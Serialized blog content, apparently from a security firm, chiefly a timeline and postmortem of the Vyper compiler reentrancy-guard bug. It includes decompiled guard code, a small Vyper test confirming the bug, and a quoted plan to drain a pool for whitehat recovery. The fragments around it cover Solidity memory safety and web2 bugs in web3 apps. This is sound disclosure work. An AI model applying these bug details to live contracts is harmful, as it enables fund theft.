",{"type":26,"tag":475,"props":29958,"children":29959},{"style":2375},[29960],{"type":32,"value":29857},{"type":26,"tag":475,"props":29962,"children":29963},{"style":499},[29964],{"type":32,"value":353},{"type":26,"tag":475,"props":29966,"children":29967},{"style":493},[29968],{"type":32,"value":29866},{"type":26,"tag":475,"props":29970,"children":29971},{"style":499},[29972],{"type":32,"value":29871},{"type":26,"tag":475,"props":29974,"children":29975},{"style":2375},[29976],{"type":32,"value":29977},"externalReferences",{"type":26,"tag":475,"props":29979,"children":29980},{"style":499},[29981],{"type":32,"value":16283},{"type":26,"tag":475,"props":29983,"children":29984},{"class":477,"line":596},[29985],{"type":26,"tag":475,"props":29986,"children":29987},{"emptyLinePlaceholder":18},[29988],{"type":32,"value":545},{"type":26,"tag":475,"props":29990,"children":29991},{"class":477,"line":610},[29992,29997,30001,30006,30010,30014,30018,30023],{"type":26,"tag":475,"props":29993,"children":29994},{"style":499},[29995],{"type":32,"value":29996}," yul::Statement modified ",{"type":26,"tag":475,"props":29998,"children":29999},{"style":714},[30000],{"type":32,"value":786},{"type":26,"tag":475,"props":30002,"children":30003},{"style":493},[30004],{"type":32,"value":30005}," bodyCopier",{"type":26,"tag":475,"props":30007,"children":30008},{"style":499},[30009],{"type":32,"value":626},{"type":26,"tag":475,"props":30011,"children":30012},{"style":2375},[30013],{"type":32,"value":29857},{"type":26,"tag":475,"props":30015,"children":30016},{"style":499},[30017],{"type":32,"value":353},{"type":26,"tag":475,"props":30019,"children":30020},{"style":493},[30021],{"type":32,"value":30022},"operations",{"type":26,"tag":475,"props":30024,"children":30025},{"style":499},[30026],{"type":32,"value":30027},"());`\n",{"type":26,"tag":181,"props":30029,"children":30030},{"start":516},[30031],{"type":26,"tag":86,"props":30032,"children":30033},{},[30034],{"type":32,"value":30035},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":26,"tag":35,"props":30037,"children":30038},{},[30039],{"type":32,"value":30040},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":26,"tag":27,"props":30042,"children":30043},{"id":5022},[30044],{"type":32,"value":5025},{"type":26,"tag":35,"props":30046,"children":30047},{},[30048],{"type":32,"value":30049},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":26,"tag":35,"props":30051,"children":30052},{},[30053],{"type":32,"value":30054},"It's a promise between YUL generation and optimization.",{"type":26,"tag":18130,"props":30056,"children":30058},{"className":30057,"dataFootnotes":7},[18133],[30059,30064],{"type":26,"tag":27,"props":30060,"children":30062},{"className":30061,"id":15186},[18138],[30063],{"type":32,"value":18141},{"type":26,"tag":181,"props":30065,"children":30066},{},[30067,30101],{"type":26,"tag":86,"props":30068,"children":30070},{"id":30069},"user-content-fn-1",[30071,30073,30078,30080,30086,30088,30093,30095],{"type":32,"value":30072},"As an interesting aside, ",{"type":26,"tag":53,"props":30074,"children":30076},{"className":30075},[],[30077],{"type":32,"value":29073},{"type":32,"value":30079}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":26,"tag":53,"props":30081,"children":30083},{"className":30082},[],[30084],{"type":32,"value":30085},"memory-unsafe",{"type":32,"value":30087}," code can ",{"type":26,"tag":2615,"props":30089,"children":30090},{},[30091],{"type":32,"value":30092},"decrease",{"type":32,"value":30094}," gas consumption, especially in the YUL header. ",{"type":26,"tag":116,"props":30096,"children":30099},{"href":30097,"ariaLabel":18244,"className":30098,"dataFootnoteBackref":7},"#user-content-fnref-1",[18246],[30100],{"type":32,"value":18249},{"type":26,"tag":86,"props":30102,"children":30104},{"id":30103},"user-content-fn-2",[30105,30107,30112,30114],{"type":32,"value":30106},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":26,"tag":2615,"props":30108,"children":30109},{},[30110],{"type":32,"value":30111},"guarantee",{"type":32,"value":30113}," behavior with opaque bytes. ",{"type":26,"tag":116,"props":30115,"children":30118},{"href":30116,"ariaLabel":18264,"className":30117,"dataFootnoteBackref":7},"#user-content-fnref-2",[18246],[30119],{"type":32,"value":18249},{"type":26,"tag":2548,"props":30121,"children":30122},{},[30123],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":30125},[30126,30127,30128,30129,30130,30131,30132],{"id":28717,"depth":516,"text":28720},{"id":28771,"depth":516,"text":28774},{"id":29035,"depth":516,"text":29038},{"id":28766,"depth":516,"text":29259},{"id":29606,"depth":516,"text":29609},{"id":5022,"depth":516,"text":5025},{"id":15186,"depth":516,"text":18141},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":30137,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30138,"description":30139,"author":5432,"image":30140,"date":30142,"isFeatured":18,"onBlogPage":18,"tags":30143,"body":30145,"_type":2566,"_id":30896,"_source":2568,"_file":30897,"_stem":30898,"_extension":2571},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":30141,"height":17,"width":17},"/posts/vyper-timeline/header.jpg","2023-08-01",[30144,28712],"vyper",{"type":23,"children":30146,"toc":30887},[30147,30152,30157,30162,30168,30173,30191,30201,30206,30214,30224,30243,30323,30333,30493,30498,30503,30513,30520,30525,30530,30544,30549,30566,30583,30602,30612,30625,30630,30643,30648,30653,30663,30690,30700,30730,30736,30745,30751,30756,30761,30766,30772,30777,30791,30796,30801,30806,30812,30817,30830,30856,30861,30883],{"type":26,"tag":35,"props":30148,"children":30149},{},[30150],{"type":32,"value":30151},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":26,"tag":35,"props":30153,"children":30154},{},[30155],{"type":32,"value":30156},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":26,"tag":35,"props":30158,"children":30159},{},[30160],{"type":32,"value":30161},"Here's how it all happened.",{"type":26,"tag":27,"props":30163,"children":30165},{"id":30164},"timeline",[30166],{"type":32,"value":30167},"Timeline",{"type":26,"tag":35,"props":30169,"children":30170},{},[30171],{"type":32,"value":30172},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":26,"tag":35,"props":30174,"children":30175},{},[30176,30181,30183,30190],{"type":26,"tag":105,"props":30177,"children":30178},{},[30179],{"type":32,"value":30180},"13:10 UTC",{"type":32,"value":30182}," pETH/ETH was ",{"type":26,"tag":116,"props":30184,"children":30187},{"href":30185,"rel":30186},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[120],[30188],{"type":32,"value":30189},"drained of $11M",{"type":32,"value":353},{"type":26,"tag":35,"props":30192,"children":30193},{},[30194,30199],{"type":26,"tag":105,"props":30195,"children":30196},{},[30197],{"type":32,"value":30198},"13:19 UTC",{"type":32,"value":30200}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":26,"tag":35,"props":30202,"children":30203},{},[30204],{"type":32,"value":30205},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":26,"tag":2637,"props":30207,"children":30208},{},[30209],{"type":26,"tag":35,"props":30210,"children":30211},{},[30212],{"type":32,"value":30213},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":26,"tag":35,"props":30215,"children":30216},{},[30217,30222],{"type":26,"tag":105,"props":30218,"children":30219},{},[30220],{"type":32,"value":30221},"14:01 UTC",{"type":32,"value":30223}," A warroom was formed around this comment.",{"type":26,"tag":35,"props":30225,"children":30226},{},[30227,30232,30234,30241],{"type":26,"tag":105,"props":30228,"children":30229},{},[30230],{"type":32,"value":30231},"14:07 UTC",{"type":32,"value":30233}," We decompiled the JPEGd contract ",{"type":26,"tag":116,"props":30235,"children":30238},{"href":30236,"rel":30237},"https://ethervm.io/decompile",[120],[30239],{"type":32,"value":30240},"with our favorite decompiler",{"type":32,"value":30242}," and noted a difference in reentrancy guard storage slot.",{"type":26,"tag":465,"props":30244,"children":30248},{"className":30245,"code":30246,"language":30247,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[30249],{"type":26,"tag":53,"props":30250,"children":30251},{"__ignoreMap":7},[30252,30260,30268,30276,30284,30291,30299,30307,30315],{"type":26,"tag":475,"props":30253,"children":30254},{"class":477,"line":478},[30255],{"type":26,"tag":475,"props":30256,"children":30257},{},[30258],{"type":32,"value":30259},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":26,"tag":475,"props":30261,"children":30262},{"class":477,"line":516},[30263],{"type":26,"tag":475,"props":30264,"children":30265},{},[30266],{"type":32,"value":30267},"label_0057:\n",{"type":26,"tag":475,"props":30269,"children":30270},{"class":477,"line":539},[30271],{"type":26,"tag":475,"props":30272,"children":30273},{},[30274],{"type":32,"value":30275}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":26,"tag":475,"props":30277,"children":30278},{"class":477,"line":548},[30279],{"type":26,"tag":475,"props":30280,"children":30281},{},[30282],{"type":32,"value":30283}," storage[0x00] = 0x01;\n",{"type":26,"tag":475,"props":30285,"children":30286},{"class":477,"line":558},[30287],{"type":26,"tag":475,"props":30288,"children":30289},{"emptyLinePlaceholder":18},[30290],{"type":32,"value":545},{"type":26,"tag":475,"props":30292,"children":30293},{"class":477,"line":582},[30294],{"type":26,"tag":475,"props":30295,"children":30296},{},[30297],{"type":32,"value":30298},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":26,"tag":475,"props":30300,"children":30301},{"class":477,"line":596},[30302],{"type":26,"tag":475,"props":30303,"children":30304},{},[30305],{"type":32,"value":30306},"label_1AF3:\n",{"type":26,"tag":475,"props":30308,"children":30309},{"class":477,"line":610},[30310],{"type":26,"tag":475,"props":30311,"children":30312},{},[30313],{"type":32,"value":30314}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":26,"tag":475,"props":30316,"children":30317},{"class":477,"line":650},[30318],{"type":26,"tag":475,"props":30319,"children":30320},{},[30321],{"type":32,"value":30322}," storage[0x02] = 0x01;\n",{"type":26,"tag":35,"props":30324,"children":30325},{},[30326,30331],{"type":26,"tag":105,"props":30327,"children":30328},{},[30329],{"type":32,"value":30330},"14:27 UTC",{"type":32,"value":30332}," We confirmed this behavior with a simple local test contract.",{"type":26,"tag":465,"props":30334,"children":30336},{"className":19170,"code":30335,"language":19169,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[30337],{"type":26,"tag":53,"props":30338,"children":30339},{"__ignoreMap":7},[30340,30348,30369,30404,30416,30423,30430,30449,30481],{"type":26,"tag":475,"props":30341,"children":30342},{"class":477,"line":478},[30343],{"type":26,"tag":475,"props":30344,"children":30345},{"style":493},[30346],{"type":32,"value":30347},"@external\n",{"type":26,"tag":475,"props":30349,"children":30350},{"class":477,"line":516},[30351,30356,30360,30365],{"type":26,"tag":475,"props":30352,"children":30353},{"style":493},[30354],{"type":32,"value":30355},"@nonreentrant",{"type":26,"tag":475,"props":30357,"children":30358},{"style":499},[30359],{"type":32,"value":626},{"type":26,"tag":475,"props":30361,"children":30362},{"style":629},[30363],{"type":32,"value":30364},"\"lock\"",{"type":26,"tag":475,"props":30366,"children":30367},{"style":499},[30368],{"type":32,"value":647},{"type":26,"tag":475,"props":30370,"children":30371},{"class":477,"line":539},[30372,30377,30382,30386,30391,30396,30400],{"type":26,"tag":475,"props":30373,"children":30374},{"style":482},[30375],{"type":32,"value":30376},"def",{"type":26,"tag":475,"props":30378,"children":30379},{"style":493},[30380],{"type":32,"value":30381}," test",{"type":26,"tag":475,"props":30383,"children":30384},{"style":499},[30385],{"type":32,"value":626},{"type":26,"tag":475,"props":30387,"children":30388},{"style":2375},[30389],{"type":32,"value":30390},"addr",{"type":26,"tag":475,"props":30392,"children":30393},{"style":499},[30394],{"type":32,"value":30395},": address) -> ",{"type":26,"tag":475,"props":30397,"children":30398},{"style":505},[30399],{"type":32,"value":29388},{"type":26,"tag":475,"props":30401,"children":30402},{"style":499},[30403],{"type":32,"value":5280},{"type":26,"tag":475,"props":30405,"children":30406},{"class":477,"line":548},[30407,30411],{"type":26,"tag":475,"props":30408,"children":30409},{"style":586},[30410],{"type":32,"value":16695},{"type":26,"tag":475,"props":30412,"children":30413},{"style":482},[30414],{"type":32,"value":30415}," True\n",{"type":26,"tag":475,"props":30417,"children":30418},{"class":477,"line":558},[30419],{"type":26,"tag":475,"props":30420,"children":30421},{"emptyLinePlaceholder":18},[30422],{"type":32,"value":545},{"type":26,"tag":475,"props":30424,"children":30425},{"class":477,"line":582},[30426],{"type":26,"tag":475,"props":30427,"children":30428},{"style":493},[30429],{"type":32,"value":30347},{"type":26,"tag":475,"props":30431,"children":30432},{"class":477,"line":596},[30433,30437,30441,30445],{"type":26,"tag":475,"props":30434,"children":30435},{"style":493},[30436],{"type":32,"value":30355},{"type":26,"tag":475,"props":30438,"children":30439},{"style":499},[30440],{"type":32,"value":626},{"type":26,"tag":475,"props":30442,"children":30443},{"style":629},[30444],{"type":32,"value":30364},{"type":26,"tag":475,"props":30446,"children":30447},{"style":499},[30448],{"type":32,"value":647},{"type":26,"tag":475,"props":30450,"children":30451},{"class":477,"line":610},[30452,30456,30461,30465,30469,30473,30477],{"type":26,"tag":475,"props":30453,"children":30454},{"style":482},[30455],{"type":32,"value":30376},{"type":26,"tag":475,"props":30457,"children":30458},{"style":493},[30459],{"type":32,"value":30460}," test2",{"type":26,"tag":475,"props":30462,"children":30463},{"style":499},[30464],{"type":32,"value":626},{"type":26,"tag":475,"props":30466,"children":30467},{"style":2375},[30468],{"type":32,"value":30390},{"type":26,"tag":475,"props":30470,"children":30471},{"style":499},[30472],{"type":32,"value":30395},{"type":26,"tag":475,"props":30474,"children":30475},{"style":505},[30476],{"type":32,"value":29388},{"type":26,"tag":475,"props":30478,"children":30479},{"style":499},[30480],{"type":32,"value":5280},{"type":26,"tag":475,"props":30482,"children":30483},{"class":477,"line":650},[30484,30488],{"type":26,"tag":475,"props":30485,"children":30486},{"style":586},[30487],{"type":32,"value":16695},{"type":26,"tag":475,"props":30489,"children":30490},{"style":482},[30491],{"type":32,"value":30492}," False\n",{"type":26,"tag":35,"props":30494,"children":30495},{},[30496],{"type":32,"value":30497},"This was not just another reentrancy bug.",{"type":26,"tag":35,"props":30499,"children":30500},{},[30501],{"type":32,"value":30502},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":26,"tag":35,"props":30504,"children":30505},{},[30506,30511],{"type":26,"tag":105,"props":30507,"children":30508},{},[30509],{"type":32,"value":30510},"14:37 UTC",{"type":32,"value":30512}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":26,"tag":35,"props":30514,"children":30515},{},[30516],{"type":26,"tag":132,"props":30517,"children":30519},{"alt":7,"src":30518},"/posts/vyper-timeline/sstore.png",[],{"type":26,"tag":35,"props":30521,"children":30522},{},[30523],{"type":32,"value":30524},"It was a race with the hackers.",{"type":26,"tag":35,"props":30526,"children":30527},{},[30528],{"type":32,"value":30529},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":26,"tag":2637,"props":30531,"children":30532},{},[30533],{"type":26,"tag":35,"props":30534,"children":30535},{},[30536,30538],{"type":32,"value":30537},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":26,"tag":116,"props":30539,"children":30542},{"href":30540,"rel":30541},"https://twitter.com/hexagate_/status/1685677801813217280",[120],[30543],{"type":32,"value":30540},{"type":26,"tag":35,"props":30545,"children":30546},{},[30547],{"type":32,"value":30548},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":26,"tag":35,"props":30550,"children":30551},{},[30552,30557,30558,30565],{"type":26,"tag":105,"props":30553,"children":30554},{},[30555],{"type":32,"value":30556},"14:50 UTC",{"type":32,"value":6171},{"type":26,"tag":116,"props":30559,"children":30562},{"href":30560,"rel":30561},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[120],[30563],{"type":32,"value":30564},"msETH/ETH was drained",{"type":32,"value":353},{"type":26,"tag":35,"props":30567,"children":30568},{},[30569,30574,30575,30582],{"type":26,"tag":105,"props":30570,"children":30571},{},[30572],{"type":32,"value":30573},"15:34 UTC",{"type":32,"value":6171},{"type":26,"tag":116,"props":30576,"children":30579},{"href":30577,"rel":30578},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[120],[30580],{"type":32,"value":30581},"alETH/ETH was drained",{"type":32,"value":353},{"type":26,"tag":35,"props":30584,"children":30585},{},[30586,30591,30593,30600],{"type":26,"tag":105,"props":30587,"children":30588},{},[30589],{"type":32,"value":30590},"15:43 UTC",{"type":32,"value":30592}," We identified that ",{"type":26,"tag":116,"props":30594,"children":30597},{"href":30595,"rel":30596},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[120],[30598],{"type":32,"value":30599},"CRV/ETH was vulnerable",{"type":32,"value":30601},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":26,"tag":35,"props":30603,"children":30604},{},[30605,30610],{"type":26,"tag":105,"props":30606,"children":30607},{},[30608],{"type":32,"value":30609},"16:11 UTC",{"type":32,"value":30611}," We began working on a whitehat exploit.",{"type":26,"tag":35,"props":30613,"children":30614},{},[30615,30617,30624],{"type":32,"value":30616},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":26,"tag":116,"props":30618,"children":30621},{"href":30619,"rel":30620},"https://twitter.com/vyperlang/status/1685692973051498497",[120],[30622],{"type":32,"value":30623},"public statement on affected versions",{"type":32,"value":353},{"type":26,"tag":35,"props":30626,"children":30627},{},[30628],{"type":32,"value":30629},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":26,"tag":35,"props":30631,"children":30632},{},[30633,30635,30642],{"type":32,"value":30634},"Five minutes later at 19:11 UTC, ",{"type":26,"tag":116,"props":30636,"children":30639},{"href":30637,"rel":30638},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[120],[30640],{"type":32,"value":30641},"somebody else stole the funds",{"type":32,"value":353},{"type":26,"tag":35,"props":30644,"children":30645},{},[30646],{"type":32,"value":30647},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":26,"tag":35,"props":30649,"children":30650},{},[30651],{"type":32,"value":30652},"Nevertheless, there was more ground to cover.",{"type":26,"tag":35,"props":30654,"children":30655},{},[30656,30661],{"type":26,"tag":105,"props":30657,"children":30658},{},[30659],{"type":32,"value":30660},"21:26 UTC",{"type":32,"value":30662}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":26,"tag":2637,"props":30664,"children":30665},{},[30666],{"type":26,"tag":35,"props":30667,"children":30668},{},[30669,30671,30675,30677,30680,30682,30685,30687],{"type":32,"value":30670},"if you send like 30k crv to the crv/eth pool ",{"type":26,"tag":30672,"props":30673,"children":30674},"br",{},[],{"type":32,"value":30676},"\nyou can then update admin fee ",{"type":26,"tag":30672,"props":30678,"children":30679},{},[],{"type":32,"value":30681},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":26,"tag":30672,"props":30683,"children":30684},{},[],{"type":32,"value":30686},"\nso you can basically drain whole pool for few hundred K crv ",{"type":26,"tag":30672,"props":30688,"children":30689},{},[],{"type":26,"tag":35,"props":30691,"children":30692},{},[30693,30698],{"type":26,"tag":105,"props":30694,"children":30695},{},[30696],{"type":32,"value":30697},"21:52 UTC",{"type":32,"value":30699}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":26,"tag":35,"props":30701,"children":30702},{},[30703,30705,30712,30714,30721,30729],{"type":32,"value":30704},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":26,"tag":116,"props":30706,"children":30709},{"href":30707,"rel":30708},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[120],[30710],{"type":32,"value":30711},"CRV admin fee bot",{"type":32,"value":30713}," had claimed fees and ",{"type":26,"tag":116,"props":30715,"children":30718},{"href":30716,"rel":30717},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[120],[30719],{"type":32,"value":30720},"the pool was drained",{"type":26,"tag":15179,"props":30722,"children":30723},{},[30724],{"type":26,"tag":116,"props":30725,"children":30727},{"href":29326,"ariaDescribedBy":30726,"dataFootnoteRef":7,"id":29328},[15186],[30728],{"type":32,"value":3722},{"type":32,"value":353},{"type":26,"tag":27,"props":30731,"children":30733},{"id":30732},"blame",[30734],{"type":32,"value":30735},"Blame",{"type":26,"tag":35,"props":30737,"children":30738},{},[30739,30743],{"type":26,"tag":2615,"props":30740,"children":30741},{},[30742],{"type":32,"value":30735},{"type":32,"value":30744}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":26,"tag":41,"props":30746,"children":30748},{"id":30747},"races",[30749],{"type":32,"value":30750},"Races",{"type":26,"tag":35,"props":30752,"children":30753},{},[30754],{"type":32,"value":30755},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":26,"tag":35,"props":30757,"children":30758},{},[30759],{"type":32,"value":30760},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":26,"tag":35,"props":30762,"children":30763},{},[30764],{"type":32,"value":30765},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":26,"tag":41,"props":30767,"children":30769},{"id":30768},"information-leakage",[30770],{"type":32,"value":30771},"Information Leakage",{"type":26,"tag":35,"props":30773,"children":30774},{},[30775],{"type":32,"value":30776},"I was both an auditor and a whitehat.",{"type":26,"tag":35,"props":30778,"children":30779},{},[30780,30782,30789],{"type":32,"value":30781},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":26,"tag":116,"props":30783,"children":30786},{"href":30784,"rel":30785},"https://twitter.com/osec_io/status/1579969927020412929",[120],[30787],{"type":32,"value":30788},"by publishing the \"scoop\"",{"type":32,"value":30790}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":26,"tag":35,"props":30792,"children":30793},{},[30794],{"type":32,"value":30795},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":26,"tag":35,"props":30797,"children":30798},{},[30799],{"type":32,"value":30800},"Half an hour more could have saved $18M.",{"type":26,"tag":35,"props":30802,"children":30803},{},[30804],{"type":32,"value":30805},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":26,"tag":27,"props":30807,"children":30809},{"id":30808},"next-steps",[30810],{"type":32,"value":30811},"Next Steps",{"type":26,"tag":35,"props":30813,"children":30814},{},[30815],{"type":32,"value":30816},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":26,"tag":35,"props":30818,"children":30819},{},[30820,30822,30829],{"type":32,"value":30821},"It's important to note that this bug ",{"type":26,"tag":116,"props":30823,"children":30826},{"href":30824,"rel":30825},"https://twitter.com/real_philogy/status/1685948253139857409",[120],[30827],{"type":32,"value":30828},"was patched since November 2021",{"type":32,"value":353},{"type":26,"tag":2637,"props":30831,"children":30832},{},[30833],{"type":26,"tag":35,"props":30834,"children":30835},{},[30836,30838,30843,30844,30847,30849,30854],{"type":32,"value":30837},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":26,"tag":2615,"props":30839,"children":30840},{},[30841],{"type":32,"value":30842},"processes",{"type":32,"value":18240},{"type":26,"tag":30672,"props":30845,"children":30846},{},[],{"type":32,"value":30848},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":26,"tag":2615,"props":30850,"children":30851},{},[30852],{"type":32,"value":30853},"was",{"type":32,"value":30855}," fixed.",{"type":26,"tag":35,"props":30857,"children":30858},{},[30859],{"type":32,"value":30860},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":26,"tag":18130,"props":30862,"children":30864},{"className":30863,"dataFootnotes":7},[18133],[30865,30870],{"type":26,"tag":27,"props":30866,"children":30868},{"className":30867,"id":15186},[18138],[30869],{"type":32,"value":18141},{"type":26,"tag":181,"props":30871,"children":30872},{},[30873],{"type":26,"tag":86,"props":30874,"children":30875},{"id":30069},[30876,30878],{"type":32,"value":30877},"Thankfully, these funds were later returned. ",{"type":26,"tag":116,"props":30879,"children":30881},{"href":30097,"ariaLabel":18244,"className":30880,"dataFootnoteBackref":7},[18246],[30882],{"type":32,"value":18249},{"type":26,"tag":2548,"props":30884,"children":30885},{},[30886],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":30888},[30889,30890,30894,30895],{"id":30164,"depth":516,"text":30167},{"id":30732,"depth":516,"text":30735,"children":30891},[30892,30893],{"id":30747,"depth":539,"text":30750},{"id":30768,"depth":539,"text":30771},{"id":30808,"depth":516,"text":30811},{"id":15186,"depth":516,"text":18141},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":30900,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30901,"description":30902,"author":30903,"image":30904,"date":30906,"isFeatured":18,"tags":30907,"onBlogPage":18,"body":30910,"_type":2566,"_id":35114,"_source":2568,"_file":35115,"_stem":35116,"_extension":2571},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[13,12],{"src":30905,"height":17,"width":17},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[30908,30909],"nft-marketplaces","xss",{"type":23,"children":30911,"toc":35097},[30912,30916,30921,30925,30930,30935,30940,30956,30962,30975,30997,31004,31009,31016,31021,31027,31032,31037,31042,31047,31058,31063,32028,32038,32050,32057,32062,32882,32887,32892,32897,32902,33686,33691,33772,33777,33844,33850,33855,33860,34087,34100,34105,34110,34115,34122,34127,34134,34140,34145,34150,34155,34474,34479,34485,34501,34507,34512,34517,34527,34532,34537,34546,34551,34557,34573,34586,34591,34596,34616,34623,34628,34635,34644,34649,34670,34723,34728,34779,34793,34798,34812,34927,34950,35034,35057,35062,35067,35072,35077,35082,35088,35093],{"type":26,"tag":27,"props":30913,"children":30914},{"id":28717},[30915],{"type":32,"value":28720},{"type":26,"tag":35,"props":30917,"children":30918},{},[30919],{"type":32,"value":30920},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":26,"tag":41,"props":30922,"children":30923},{"id":2622},[30924],{"type":32,"value":2625},{"type":26,"tag":35,"props":30926,"children":30927},{},[30928],{"type":32,"value":30929},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":26,"tag":35,"props":30931,"children":30932},{},[30933],{"type":32,"value":30934},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":26,"tag":27,"props":30936,"children":30937},{"id":30909},[30938],{"type":32,"value":30939},"XSS",{"type":26,"tag":35,"props":30941,"children":30942},{},[30943],{"type":26,"tag":2615,"props":30944,"children":30945},{},[30946,30948,30955],{"type":32,"value":30947},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":26,"tag":116,"props":30949,"children":30952},{"href":30950,"rel":30951},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[120],[30953],{"type":32,"value":30954},"even explain it to myself",{"type":32,"value":353},{"type":26,"tag":41,"props":30957,"children":30959},{"id":30958},"managing-metadata",[30960],{"type":32,"value":30961},"Managing Metadata",{"type":26,"tag":35,"props":30963,"children":30964},{},[30965,30967,30974],{"type":32,"value":30966},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious 